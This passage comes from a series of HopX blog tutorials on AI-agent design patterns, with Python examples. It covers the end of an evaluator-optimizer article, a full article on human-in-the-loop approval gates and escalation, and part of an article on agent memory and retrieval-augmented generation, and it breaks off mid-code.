"timestamp": datetime.now().isoformat() }) # Detect if stuck if i > 1 and history[-1]["score"] == history[-2]["score"]: # Try different optimization strategy output = self._alternative_optimize(output, evaluation) return {"output": output, "history": history} ``` ### 4. Fail Gracefully ```python def run_with_fallback(self, task: str) -> dict: try: result = self._optimize_loop(task) if not result["success"]: # Return best attempt even if didn't meet threshold return { "output": result["output"], "warning": "Did not meet quality threshold", "score": result["final_score"] } return result except Exception as e: # Return initial generation on failure return { "output": self._generate(task), "error": str(e), "fallback": True } ``` ## When to Use This Pattern ✅ **Use Evaluator-Optimizer when:** - Output quality is critical - You can define clear quality criteria - You have token budget for multiple iterations - Task is complex enough to benefit from iteration ❌ **Avoid when:** - Speed is the priority - Quality criteria are subjective/unclear - Output is simple and usually correct - Token costs are a major concern ## Conclusion The Evaluator-Optimizer Loop transforms inconsistent outputs into consistently high-quality ones: - **Explicit evaluation** — Define what "good" means - **Iterative improvement** — Fix issues systematically - **Quality guarantees** — Meet defined thresholds Start with simple evaluation criteria. Add specialized evaluators for specific domains. Track optimization history to learn what works. The agent that evaluates and improves beats the agent that hopes for the best. Every time. --- Ready to build self-improving agents? [Get started with HopX](https://console.hopx.ai) — sandboxes that let you test and verify outputs in isolation. ## Further Reading - [The Reflection Pattern](/blog/ai-agents/reflection-pattern-self-correcting-ai) — Self-review without separate optimizer - [ReAct Pattern](/blog/ai-agents/react-pattern-reasoning-acting) — Reasoning before each action - [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Tools for evaluation - [Memory Pattern](/blog/ai-agents/memory-pattern-ai-agents) — Remember what improvements work --- ## Human-in-the-Loop: Balancing AI Autonomy and Human Control URL: https://hopx.ai/blog/ai-agents/human-in-the-loop-ai-agents/ Category: AI Agents Published: 2025-11-27 # Human-in-the-Loop: Balancing AI Autonomy and Human Control Fully autonomous AI agents are a fantasy—and a dangerous one. Even the best agents make mistakes, hallucinate, and encounter situations they can't handle. **Human-in-the-Loop (HITL)** is the pattern that makes AI agents actually work in production. It's about knowing when to ask for help, when to pause for approval, and when to hand off to a human entirely. This guide shows you how to build agents that collaborate with humans instead of trying to replace them. ## Why Human-in-the-Loop Matters ### The Autonomy Paradox More autonomy sounds better, but: ``` ┌─────────────────────────────────────────────────────────────┐ │ Autonomy vs. Risk │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Risk │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │ ╱ │ │ │╱ │ │ └──────────────────────────────────────────────────── │ │ Autonomy │ │ │ │ Low autonomy = Safe but slow │ │ High autonomy = Fast but risky │ │ HITL = Optimal balance for each situation │ │ │ └─────────────────────────────────────────────────────────────┘ ``` The goal isn't maximum autonomy—it's **appropriate** autonomy for each situation. ### When Agents Need Humans 1. **High-stakes decisions**: Deleting data, sending money, publishing content 2. **Uncertainty**: Low confidence, ambiguous requirements 3. **Edge cases**: Situations not in training data 4. **Sensitive content**: Legal, medical, financial advice 5. **Learning opportunities**: New patterns to incorporate ## HITL Patterns ### Pattern 1: Approval Gates Pause for human approval before critical actions: ```python from enum import Enum from dataclasses import dataclass import time class ActionRisk(Enum): LOW = "low" # Proceed automatically MEDIUM = "medium" # Log, but proceed HIGH = "high" # Require approval CRITICAL = "critical" # Require multi-person approval @dataclass class PendingAction: action_id: str action_type: str description: str risk_level: ActionRisk context: dict created_at: float approved: bool = None approved_by: str = None class ApprovalGateAgent: def __init__(self, approval_callback): self.approval_callback = approval_callback self.pending_actions = {} self.action_risks = { "read_file": ActionRisk.LOW, "write_file": ActionRisk.MEDIUM, "send_email": ActionRisk.HIGH, "delete_data": ActionRisk.CRITICAL, "execute_code": ActionRisk.MEDIUM, "make_payment": ActionRisk.CRITICAL, } def execute_action(self, action_type: str, params: dict) -> dict: risk = self.action_risks.get(action_type, ActionRisk.HIGH) if risk == ActionRisk.LOW: return self._execute(action_type, params) if risk == ActionRisk.MEDIUM: self._log_action(action_type, params) return self._execute(action_type, params) if risk in [ActionRisk.HIGH, ActionRisk.CRITICAL]: return self._request_approval(action_type, params, risk) def _request_approval(self, action_type: str, params: dict, risk: ActionRisk) -> dict: action = PendingAction( action_id=f"action_{time.time()}", action_type=action_type, description=self._describe_action(action_type, params), risk_level=risk, context=params, created_at=time.time() ) self.pending_actions[action.action_id] = action # Request approval (async in production) approved = self.approval_callback(action) if approved: action.approved = True return self._execute(action_type, params) else: action.approved = False return {"status": "rejected", "action_id": action.action_id} def _describe_action(self, action_type: str, params: dict) -> str: descriptions = { "send_email": f"Send email to {params.get('to')} with subject '{params.get('subject')}'", "delete_data": f"Delete {params.get('count', 'unknown')} records from {params.get('table')}", "make_payment": f"Transfer ${params.get('amount')} to {params.get('recipient')}", } return descriptions.get(action_type, f"{action_type}: {params}") # Usage with CLI approval def cli_approval(action: PendingAction) -> bool: print(f"\n{'='*60}") print(f"🔔 APPROVAL REQUIRED") print(f"{'='*60}") print(f"Action: {action.action_type}") print(f"Risk: {action.risk_level.value.upper()}") print(f"Description: {action.description}") print(f"\nContext: {action.context}") response = input("\nApprove? (yes/no): ").strip().lower() return response == "yes" agent = ApprovalGateAgent(approval_callback=cli_approval) # Low risk - executes immediately agent.execute_action("read_file", {"path": "/data/report.csv"}) # High risk - requires approval agent.execute_action("send_email", { "to": "client@example.com", "subject": "Contract Update", "body": "..." }) ``` ### Pattern 2: Confidence-Based Escalation Escalate to humans when confidence is low: ```python import openai from dataclasses import dataclass @dataclass class AgentResponse: answer: str confidence: float reasoning: str needs_human: bool class ConfidenceAgent: def __init__(self, confidence_threshold: float = 0.8): self.client = openai.OpenAI() self.threshold = confidence_threshold def answer(self, question: str) -> AgentResponse: # Get answer with confidence score response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Answer the question and rate your confidence. Return JSON: { "answer": "your answer", "confidence": 0.0-1.0, "reasoning": "why this confidence level", "uncertain_aspects": ["aspect1", "aspect2"] } Be honest about uncertainty. Low confidence is better than wrong confidence.""" }, { "role": "user", "content": question }], response_format={"type": "json_object"} ) import json data = json.loads(response.choices[0].message.content) needs_human = data["confidence"] < self.threshold return AgentResponse( answer=data["answer"], confidence=data["confidence"], reasoning=data["reasoning"], needs_human=needs_human ) def answer_with_fallback(self, question: str, human_callback) -> str: response = self.answer(question) if response.needs_human: print(f"⚠️ Low confidence ({response.confidence:.0%})") print(f"Reason: {response.reasoning}") print(f"\nProposed answer: {response.answer}") human_input = human_callback(question, response) if human_input: return human_input return response.answer # Usage agent = ConfidenceAgent(confidence_threshold=0.75) def human_review(question: str, response: AgentResponse) -> str: print(f"\nQuestion: {question}") print(f"Agent's answer: {response.answer}") action = input("Accept (a), Modify (m), or Provide new (n)? ").strip().lower() if action == "a": return response.answer elif action == "m": return input("Enter modified answer: ") elif action == "n": return input("Enter your answer: ") return response.answer answer = agent.answer_with_fallback( "What's the best database for a real-time analytics system processing 1M events/second?", human_callback=human_review ) ``` ### Pattern 3: Interactive Clarification Ask humans for clarification when requirements are ambiguous: ```python class ClarifyingAgent: def __init__(self): self.client = openai.OpenAI() self.max_clarifications = 3 def process(self, request: str, clarification_callback) -> str: context = {"original_request": request, "clarifications": []} for i in range(self.max_clarifications): # Check if we need clarification analysis = self._analyze_request(request, context) if analysis["clear_enough"]: break # Ask for clarification question = analysis["clarification_question"] answer = clarification_callback(question) context["clarifications"].append({ "question": question, "answer": answer }) # Update request with clarification request = self._incorporate_clarification(request, question, answer) # Execute with full context return self._execute(request, context) def _analyze_request(self, request: str, context: dict) -> dict: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Analyze if this request is clear enough to execute. Return JSON: { "clear_enough": true/false, "ambiguities": ["ambiguity 1", "ambiguity 2"], "clarification_question": "question to ask user (if not clear)", "assumptions": ["assumption if we proceeded without clarifying"] } Ask for clarification only if the ambiguity could lead to significantly different outcomes.""" }, { "role": "user", "content": f"Request: {request}\n\nPrevious clarifications: {context.get('clarifications', [])}" }], response_format={"type": "json_object"} ) import json return json.loads(response.choices[0].message.content) def _incorporate_clarification(self, request: str, question: str, answer: str) -> str: return f"{request}\n\nClarification - Q: {question} A: {answer}" # Usage agent = ClarifyingAgent() def ask_user(question: str) -> str: print(f"\n❓ {question}") return input("Your answer: ") result = agent.process( "Create a report of our sales data", # Ambiguous! clarification_callback=ask_user ) # Agent might ask: # "Which time period should the report cover?" # "Should the report include all products or specific categories?" # "Who is the audience - executives or analysts?" ``` ### Pattern 4: Supervised Learning Loop Learn from human corrections: ```python from dataclasses import dataclass from datetime import datetime import json @dataclass class Correction: original_output: str corrected_output: str correction_reason: str task_type: str timestamp: datetime class LearningAgent: def __init__(self): self.client = openai.OpenAI() self.corrections_db = [] # In production, use a real database def process(self, task: str) -> str: # Get relevant past corrections relevant_corrections = self._find_relevant_corrections(task) # Generate with learned context response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": f"""Complete the task. Learn from these past corrections: {self._format_corrections(relevant_corrections)} Apply these lessons to avoid similar mistakes.""" }, { "role": "user", "content": task }] ) return response.choices[0].message.content def record_correction(self, original: str, corrected: str, reason: str, task_type: str): """Human provides correction - agent learns""" correction = Correction( original_output=original, corrected_output=corrected, correction_reason=reason, task_type=task_type, timestamp=datetime.now() ) self.corrections_db.append(correction) # In production: fine-tune or update embeddings self._update_knowledge(correction) def _find_relevant_corrections(self, task: str, limit: int = 5) -> list: # In production: semantic search over corrections return self.corrections_db[-limit:] def _format_corrections(self, corrections: list) -> str: if not corrections: return "(No relevant past corrections)" formatted = [] for c in corrections: formatted.append(f""" Mistake: {c.original_output[:200]}... Correction: {c.corrected_output[:200]}... Reason: {c.correction_reason} """) return "\n---\n".join(formatted) # Usage agent = LearningAgent() # Agent makes a mistake output = agent.process("Write an email to decline a meeting") print(output) # "Dear Sir, I am writing to inform you..." # Human corrects agent.record_correction( original=output, corrected="Hi [Name], Thanks for the invite! Unfortunately, I have a conflict...", reason="Too formal. Use casual, friendly tone for internal communications.", task_type="email_writing" ) # Next time, agent applies the lesson output = agent.process("Write an email to reschedule a call") # Now uses appropriate casual tone ``` ## Building a Complete HITL System Here's a production-ready HITL agent: ```python from hopx import Sandbox import openai import json from enum import Enum from dataclasses import dataclass, field from datetime import datetime from typing import Callable, Optional import asyncio class EscalationType(Enum): APPROVAL = "approval" CLARIFICATION = "clarification" REVIEW = "review" HANDOFF = "handoff" @dataclass class EscalationRequest: id: str type: EscalationType context: dict message: str options: list = field(default_factory=list) timeout_seconds: int = 300 created_at: datetime = field(default_factory=datetime.now) @dataclass class EscalationResponse: approved: bool response: str responder: str timestamp: datetime = field(default_factory=datetime.now) class HITLAgent: def __init__( self, escalation_handler: Callable[[EscalationRequest], EscalationResponse], confidence_threshold: float = 0.8, auto_approve_risks: list = None ): self.client = openai.OpenAI() self.escalation_handler = escalation_handler self.confidence_threshold = confidence_threshold self.auto_approve_risks = auto_approve_risks or ["low"] self.action_log = [] async def run(self, task: str) -> dict: """Execute task with human-in-the-loop checkpoints""" # Step 1: Understand and validate task understanding = await self._understand_task(task) if understanding["needs_clarification"]: clarification = await self._request_clarification( task, understanding["questions"] ) task = f"{task}\n\nClarifications:\n{clarification}" # Step 2: Plan with risk assessment plan = await self._create_plan(task) # Step 3: Get approval for high-risk steps if any(step["risk"] not in self.auto_approve_risks for step in plan["steps"]): approved = await self._request_plan_approval(plan) if not approved: return {"status": "rejected", "reason": "Plan not approved"} # Step 4: Execute with checkpoints results = [] for step in plan["steps"]: result = await self._execute_step(step) results.append(result) # Check for issues requiring escalation if result.get("needs_review"): review = await self._request_review(step, result) if not review.approved: return {"status": "stopped", "reason": review.response} # Step 5: Final review for high-stakes tasks if plan.get("requires_final_review"): final_review = await self._request_final_review(task, results) if not final_review.approved: return {"status": "needs_revision", "feedback": final_review.response} return { "status": "completed", "results": results, "plan": plan } async def _understand_task(self, task: str) -> dict: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Analyze this task: 1. Is it clear enough to proceed? 2. What clarifications would help? 3. What's the risk level? 4. What approvals might be needed? Return JSON: { "clear": true/false, "needs_clarification": true/false, "questions": ["question1", "question2"], "risk_level": "low/medium/high/critical", "potential_issues": ["issue1"] }""" }, { "role": "user", "content": task }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content) async def _request_clarification(self, task: str, questions: list) -> str: request = EscalationRequest( id=f"clarify_{datetime.now().timestamp()}", type=EscalationType.CLARIFICATION, context={"task": task}, message="Please clarify the following:", options=questions ) response = self.escalation_handler(request) return response.response async def _request_plan_approval(self, plan: dict) -> bool: high_risk_steps = [s for s in plan["steps"] if s["risk"] not in self.auto_approve_risks] request = EscalationRequest( id=f"approve_{datetime.now().timestamp()}", type=EscalationType.APPROVAL, context={"plan": plan}, message=f"Approve {len(high_risk_steps)} high-risk actions?", options=["Approve All", "Reject", "Review Each"] ) response = self.escalation_handler(request) return response.approved async def _execute_step(self, step: dict) -> dict: """Execute step with monitoring""" self.action_log.append({ "step": step, "started_at": datetime.now().isoformat() }) if step.get("requires_code"): result = await self._execute_code(step["code"]) else: result = await self._execute_action(step) self.action_log[-1]["result"] = result self.action_log[-1]["completed_at"] = datetime.now().isoformat() # Check if result needs human review if result.get("error") or result.get("unexpected"): result["needs_review"] = True return result async def _request_review(self, step: dict, result: dict) -> EscalationResponse: request = EscalationRequest( id=f"review_{datetime.now().timestamp()}", type=EscalationType.REVIEW, context={"step": step, "result": result}, message=f"Step encountered an issue: {result.get('error', 'Unexpected result')}", options=["Continue", "Retry", "Abort", "Modify and Continue"] ) return self.escalation_handler(request) async def _request_final_review(self, task: str, results: list) -> EscalationResponse: request = EscalationRequest( id=f"final_{datetime.now().timestamp()}", type=EscalationType.REVIEW, context={"task": task, "results": results}, message="Please review the completed task before finalizing.", options=["Approve", "Request Changes", "Reject"] ) return self.escalation_handler(request) # Example: Slack-based escalation handler class SlackEscalationHandler: def __init__(self, channel: str, bot_token: str): self.channel = channel self.bot_token = bot_token self.pending = {} def __call__(self, request: EscalationRequest) -> EscalationResponse: # Send to Slack message = self._format_message(request) self._send_slack_message(message) # Wait for response (with timeout) response = self._wait_for_response(request.id, request.timeout_seconds) return response def _format_message(self, request: EscalationRequest) -> dict: blocks = [ { "type": "header", "text": {"type": "plain_text", "text": f"🔔 {request.type.value.upper()} Required"} }, { "type": "section", "text": {"type": "mrkdwn", "text": request.message} }, { "type": "actions", "elements": [ {"type": "button", "text": {"type": "plain_text", "text": opt}, "action_id": f"opt_{i}"} for i, opt in enumerate(request.options) ] } ] return {"channel": self.channel, "blocks": blocks} # Usage async def main(): handler = SlackEscalationHandler(channel="#ai-approvals", bot_token="xoxb-...") agent = HITLAgent( escalation_handler=handler, confidence_threshold=0.8, auto_approve_risks=["low", "medium"] ) result = await agent.run( "Analyze our customer data and send a summary report to the executive team" ) print(result) # asyncio.run(main()) ``` ## HITL Interface Patterns ### Web-Based Approval Queue ```python from fastapi import FastAPI, WebSocket from fastapi.responses import HTMLResponse import json app = FastAPI() approval_queue = [] connected_clients = [] @app.websocket("/ws/approvals") async def approval_websocket(websocket: WebSocket): await websocket.accept() connected_clients.append(websocket) try: while True: # Receive approval/rejection from UI data = await websocket.receive_json() action_id = data["action_id"] approved = data["approved"] # Process the response handle_approval_response(action_id, approved, data.get("comment")) finally: connected_clients.remove(websocket) async def request_approval(action: dict) -> bool: """Send approval request to all connected clients""" approval_queue.append(action) for client in connected_clients: await client.send_json({ "type": "approval_request", "action": action }) # Wait for response (implement with asyncio.Event) response = await wait_for_approval(action["id"]) return response @app.get("/approvals") async def approval_ui(): return HTMLResponse(""" AI Agent Approvals

Pending Approvals

""") ``` ## Best Practices ### 1. Default to Asking ```python # ❌ Optimistic (dangerous) def execute(self, action): return self._do_action(action) # ✅ Conservative (safe) def execute(self, action): if self._is_safe(action): return self._do_action(action) else: return self._request_approval(action) ``` ### 2. Provide Context ```python # ❌ Vague approval request "Approve action?" # ✅ Rich context f""" Action: {action_type} Target: {target} Impact: {impact_description} Risk Level: {risk} Reversible: {is_reversible} Similar past actions: {past_examples} Agent's reasoning: {reasoning} """ ``` ### 3. Time-Box Decisions ```python async def request_with_timeout(self, request, timeout=300): try: response = await asyncio.wait_for( self._get_human_response(request), timeout=timeout ) return response except asyncio.TimeoutError: # Default to safe action on timeout return self._safe_default(request) ``` ### 4. Learn from Decisions ```python def record_decision(self, request, response, outcome): """Track decisions to improve future automation""" self.decisions.append({ "request": request, "response": response, "outcome": outcome, "timestamp": datetime.now() }) # Analyze patterns if self._should_automate(request.type): self._add_to_auto_approve(request.type) ``` ## When to Use HITL | Situation | HITL Approach | |-----------|---------------| | Financial transactions | Approval gate | | Content publishing | Review before publish | | Data deletion | Confirmation + undo period | | Customer communications | Template approval | | System configuration | Change approval | | Ambiguous requests | Clarification | | Low confidence | Escalation | | First-time actions | Approval, then learn | ## Conclusion Human-in-the-Loop isn't about limiting AI—it's about building AI systems that actually work in production: - **Approval gates** for high-risk actions - **Confidence-based escalation** for uncertainty - **Clarification loops** for ambiguous requests - **Learning from corrections** to improve over time Start with conservative settings (more human involvement). Gradually increase autonomy as trust builds. Always have a human escalation path. The agent that knows when to ask for help outperforms the agent that doesn't. Every time. --- Ready to build collaborative human-AI systems? [Get started with HopX](https://console.hopx.ai) — sandboxes that provide safe execution while humans review. ## Further Reading - [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals - [Evaluator-Optimizer Loop](/blog/ai-agents/evaluator-optimizer-loop) — Automated quality with human oversight - [The Planning Pattern](/blog/ai-agents/planning-pattern-ai-agents) — Plans humans can review - [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Tools with approval gates --- ## Memory for AI Agents: Short-term, Long-term, and RAG URL: https://hopx.ai/blog/ai-agents/memory-pattern-ai-agents/ Category: AI Agents Published: 2025-11-27 # Memory for AI Agents: Short-term, Long-term, and RAG Every conversation with ChatGPT starts fresh. It doesn't remember you, your preferences, or your previous conversations. For a chatbot, that's fine. For an agent that's supposed to work with you over time? It's a fatal flaw. **Memory transforms agents from stateless tools into intelligent assistants that learn, adapt, and improve.** This guide shows you how to implement memory in AI agents—from simple conversation buffers to sophisticated retrieval systems that give agents access to vast knowledge bases. ## Why Agents Need Memory Without memory, agents: - Forget context mid-conversation - Can't learn from past mistakes - Have no access to private knowledge - Repeat the same errors endlessly - Can't personalize to users With memory, agents: - Maintain context across sessions - Learn from experience - Access company knowledge bases - Improve over time - Personalize responses ## The Three Types of Agent Memory ``` ┌─────────────────────────────────────────────────────────────┐ │ AGENT MEMORY │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────┐ │ │ │ SHORT-TERM │ │ LONG-TERM │ │ EXTERNAL │ │ │ │ MEMORY │ │ MEMORY │ │ KNOWLEDGE │ │ │ ├─────────────────┤ ├─────────────────┤ ├─────────────┤ │ │ │ │ │ │ │ │ │ │ │ • Context window│ │ • Past sessions │ │ • Documents │ │ │ │ • Current chat │ │ • User prefs │ │ • Databases │ │ │ │ • Working state │ │ • Learned facts │ │ • APIs │ │ │ │ │ │ • Experiences │ │ • Web │ │ │ │ │ │ │ │ │ │ │ │ Volatile │ │ Persistent │ │ Retrieved │ │ │ │ ~128K tokens │ │ Unlimited │ │ On-demand │ │ │ │ │ │ │ │ │ │ │ └─────────────────┘ └─────────────────┘ └─────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### 1. Short-Term Memory (Context Window) The conversation history within a single session. Limited by the model's context window (4K to 128K+ tokens). ### 2. Long-Term Memory (Persistent) Information that persists across sessions—user preferences, past interactions, learned facts. Stored externally and retrieved when needed. ### 3. External Knowledge (RAG) Access to documents, databases, and knowledge bases that weren't in the model's training data. Retrieved dynamically based on the current query. ## Short-Term Memory: Managing Context ### Basic Conversation Buffer The simplest memory—just keep the full conversation: ```python class ConversationBuffer: def __init__(self, max_tokens: int = 8000): self.messages = [] self.max_tokens = max_tokens def add(self, role: str, content: str): self.messages.append({"role": role, "content": content}) self._trim_if_needed() def _trim_if_needed(self): """Remove oldest messages if we exceed token limit""" while self._estimate_tokens() > self.max_tokens and len(self.messages) > 1: # Keep system message, remove oldest user/assistant pair if self.messages[0]["role"] == "system": self.messages.pop(1) else: self.messages.pop(0) def _estimate_tokens(self) -> int: # Rough estimate: 4 chars per token return sum(len(m["content"]) // 4 for m in self.messages) def get_messages(self) -> list: return self.messages.copy() # Usage memory = ConversationBuffer() memory.add("system", "You are a helpful assistant.") memory.add("user", "What's the capital of France?") memory.add("assistant", "The capital of France is Paris.") memory.add("user", "What's its population?") # Agent remembers we're talking about Paris ``` ### Sliding Window with Summary For longer conversations, summarize old messages instead of discarding them: ```python import openai class SummarizingMemory: def __init__(self, window_size: int = 10, max_tokens: int = 4000): self.client = openai.OpenAI() self.messages = [] self.summary = "" self.window_size = window_size self.max_tokens = max_tokens def add(self, role: str, content: str): self.messages.append({"role": role, "content": content}) # Summarize when window is exceeded if len(self.messages) > self.window_size * 2: self._summarize_old_messages() def _summarize_old_messages(self): """Compress old messages into summary""" # Take oldest half of messages to_summarize = self.messages[:self.window_size] self.messages = self.messages[self.window_size:] # Generate summary summary_prompt = f"""Summarize this conversation, preserving key facts and decisions: Previous summary: {self.summary} New messages: {self._format_messages(to_summarize)} Provide a concise summary.""" response = self.client.chat.completions.create( model="gpt-4o-mini", # Use cheaper model for summarization messages=[{"role": "user", "content": summary_prompt}] ) self.summary = response.choices[0].message.content def get_messages(self) -> list: """Get messages with summary as context""" result = [] if self.summary: result.append({ "role": "system", "content": f"Previous conversation summary:\n{self.summary}" }) result.extend(self.messages) return result def _format_messages(self, messages: list) -> str: return "\n".join(f"{m['role']}: {m['content']}" for m in messages) ``` ### Working Memory for Multi-Step Tasks For agents executing multi-step tasks, maintain structured working memory: ```python from dataclasses import dataclass, field from typing import Any @dataclass class WorkingMemory: """Structured memory for task execution""" goal: str = "" current_step: int = 0 plan: list[str] = field(default_factory=list) completed_steps: list[dict] = field(default_factory=list) variables: dict[str, Any] = field(default_factory=dict) errors: list[str] = field(default_factory=list) def to_context(self) -> str: """Convert to context string for LLM""" return f"""Current Task State: Goal: {self.goal} Progress: Step {self.current_step + 1} of {len(self.plan)} Plan: {self._format_plan()} Variables: {self._format_variables()} Recent Errors: {self.errors[-3:] if self.errors else 'None'} """ def _format_plan(self) -> str: lines = [] for i, step in enumerate(self.plan): status = "✓" if i < self.current_step else "→" if i == self.current_step else " " lines.append(f" [{status}] {i+1}. {step}") return "\n".join(lines) def _format_variables(self) -> str: if not self.variables: return " (none)" return "\n".join(f" {k}: {v}" for k, v in self.variables.items()) # Usage in agent class TaskAgent: def __init__(self): self.working_memory = WorkingMemory() def execute(self, goal: str): self.working_memory.goal = goal self.working_memory.plan = self._create_plan(goal) for i, step in enumerate(self.working_memory.plan): self.working_memory.current_step = i # Include working memory in context context = self.working_memory.to_context() result = self._execute_step(step, context) self.working_memory.completed_steps.append({ "step": step, "result": result }) # Store results as variables for later steps if "output" in result: self.working_memory.variables[f"step_{i}_output"] = result["output"] ``` ## Long-Term Memory: Persistence Across Sessions ### Vector Database for Semantic Search The most common approach—store memories as embeddings and retrieve by semantic similarity: ```python import openai import numpy as np from dataclasses import dataclass from datetime import datetime @dataclass class Memory: content: str embedding: list[float] metadata: dict timestamp: datetime class VectorMemory: def __init__(self): self.client = openai.OpenAI() self.memories: list[Memory] = [] def add(self, content: str, metadata: dict = None): """Store a memory with its embedding""" embedding = self._get_embedding(content) memory = Memory( content=content, embedding=embedding, metadata=metadata or {}, timestamp=datetime.now() ) self.memories.append(memory) def search(self, query: str, top_k: int = 5) -> list[Memory]: """Find memories most relevant to the query""" query_embedding = self._get_embedding(query) # Calculate similarities similarities = [] for memory in self.memories: sim = self._cosine_similarity(query_embedding, memory.embedding) similarities.append((memory, sim)) # Sort by similarity and return top_k similarities.sort(key=lambda x: x[1], reverse=True) return [m for m, _ in similarities[:top_k]] def _get_embedding(self, text: str) -> list[float]: response = self.client.embeddings.create( model="text-embedding-3-small", input=text ) return response.data[0].embedding def _cosine_similarity(self, a: list, b: list) -> float: a = np.array(a) b = np.array(b) return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b)) # Usage memory = VectorMemory() # Store memories memory.add("User prefers Python over JavaScript", {"type": "preference"}) memory.add("User's project is an e-commerce platform", {"type": "context"}) memory.add("User had trouble with authentication last week", {"type": "issue"}) # Retrieve relevant memories relevant = memory.search("What programming language should I use?") # Returns: "User prefers Python over JavaScript" ``` ### Production Vector Store with Pinecone/Weaviate For production, use a managed vector database: ```python import pinecone from pinecone import Pinecone import openai class ProductionMemory: def __init__(self, index_name: str): self.pc = Pinecone(api_key="your-api-key") self.index = self.pc.Index(index_name) self.openai = openai.OpenAI() def add(self, memory_id: str, content: str, metadata: dict = None): """Store memory in Pinecone""" embedding = self._get_embedding(content) self.index.upsert(vectors=[{ "id": memory_id, "values": embedding, "metadata": { "content": content, **(metadata or {}) } }]) def search(self, query: str, top_k: int = 5, filter: dict = None) -> list[dict]: """Search memories with optional filtering""" query_embedding = self._get_embedding(query) results = self.index.query( vector=query_embedding, top_k=top_k, filter=filter, include_metadata=True ) return [ { "id": match.id, "score": match.score, "content": match.metadata.get("content"), "metadata": match.metadata } for match in results.matches ] def delete(self, memory_id: str): """Remove a memory""" self.index.delete(ids=[memory_id]) def _get_embedding(self, text: str) -> list[float]: response = self.openai.embeddings.create( model="text-embedding-3-small", input=text ) return response.data[0].embedding # Usage with user-specific memories memory = ProductionMemory("agent-memories") # Store user-specific memory memory.add( memory_id="user_123_pref_1", content="User prefers detailed technical explanations", metadata={"user_id": "123", "type": "preference"} ) # Search only this user's memories results = memory.search( query="How should I explain this concept?", filter={"user_id": "123"} ) ``` ### Structured Long-Term Memory For specific types of information, use structured storage: ```python import json from datetime import datetime from pathlib import Path class StructuredMemory: def __init__(self, storage_path: str): self.path = Path(storage_path) self.path.mkdir(parents=True, exist_ok=True) def get_user_profile(self, user_id: str) -> dict: """Get or create user profile""" profile_path = self.path / f"user_{user_id}.json" if profile_path.exists(): return json.loads(profile_path.read_text()) return { "user_id": user_id, "created_at": datetime.now().isoformat(), "preferences": {}, "facts": [], "interaction_count": 0 } def update_user_profile(self, user_id: str, updates: dict): """Update user profile""" profile = self.get_user_profile(user_id) profile.update(updates) profile["updated_at"] = datetime.now().isoformat() profile_path = self.path / f"user_{user_id}.json" profile_path.write_text(json.dumps(profile, indent=2)) def add_fact(self, user_id: str, fact: str, source: str = None): """Store a learned fact about the user""" profile = self.get_user_profile(user_id) profile["facts"].append({ "fact": fact, "learned_at": datetime.now().isoformat(), "source": source }) self.update_user_profile(user_id, profile) def add_preference(self, user_id: str, key: str, value: str): """Store a user preference""" profile = self.get_user_profile(user_id) profile["preferences"][key] = value self.update_user_profile(user_id, profile) # Usage memory = StructuredMemory("./agent_memory") # Learn about user memory.add_fact("user_123", "Works at a fintech startup") memory.add_preference("user_123", "communication_style", "concise") memory.add_preference("user_123", "expertise_level", "senior developer") # Later, personalize responses profile = memory.get_user_profile("user_123") # Use profile["preferences"]["communication_style"] to adjust response length ``` ## RAG: Retrieval Augmented Generation RAG gives agents access to knowledge beyond their training: ``` ┌─────────────────────────────────────────────────────────────┐ │ RAG Pipeline │ ├─────────────────────────────────────────────────────────────┤ │ │ │ User Query │ │ │ │ │ ▼ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ Embed │───▶│ Search │───▶│ Retrieve │ │ │ │ Query │ │ Vector DB │ │ Documents │ │ │ └─────────────┘ └─────────────┘ └──────┬──────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ LLM Prompt │ │ │ │ │ │ │ │ Context: [Retrieved documents] │ │ │ │ Question: [User query] │ │ │ │ Answer based on the context above. │ │ │ │ │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ Response │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### Basic RAG Implementation ```python import openai from dataclasses import dataclass @dataclass class Document: content: str metadata: dict embedding: list[float] = None class RAGAgent: def __init__(self): self.client = openai.OpenAI() self.documents: list[Document] = [] def add_documents(self, docs: list[str], metadata: list[dict] = None): """Index documents for retrieval""" for i, content in enumerate(docs): embedding = self._get_embedding(content) doc = Document( content=content, metadata=metadata[i] if metadata else {}, embedding=embedding ) self.documents.append(doc) def query(self, question: str, top_k: int = 3) -> str: """Answer question using retrieved context""" # Step 1: Retrieve relevant documents relevant_docs = self._retrieve(question, top_k) # Step 2: Build context context = "\n\n---\n\n".join([doc.content for doc in relevant_docs]) # Step 3: Generate answer response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Answer the question based on the provided context. If the context doesn't contain relevant information, say so. Cite sources when possible.""" }, { "role": "user", "content": f"""Context: {context} Question: {question}""" }] ) return response.choices[0].message.content def _retrieve(self, query: str, top_k: int) -> list[Document]: """Find most relevant documents""" query_embedding = self._get_embedding(query) scored = [] for doc in self.documents: similarity = self._cosine_similarity(query_embedding, doc.embedding) scored.append((doc, similarity)) scored.sort(key=lambda x: x[1], reverse=True) return [doc for doc, _ in scored[:top_k]] def _get_embedding(self, text: str) -> list[float]: response = self.client.embeddings.create( model="text-embedding-3-small", input=text ) return response.data[0].embedding def _cosine_similarity(self, a, b): import numpy as np a, b = np.array(a), np.array(b) return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b)) # Usage agent = RAGAgent() # Index 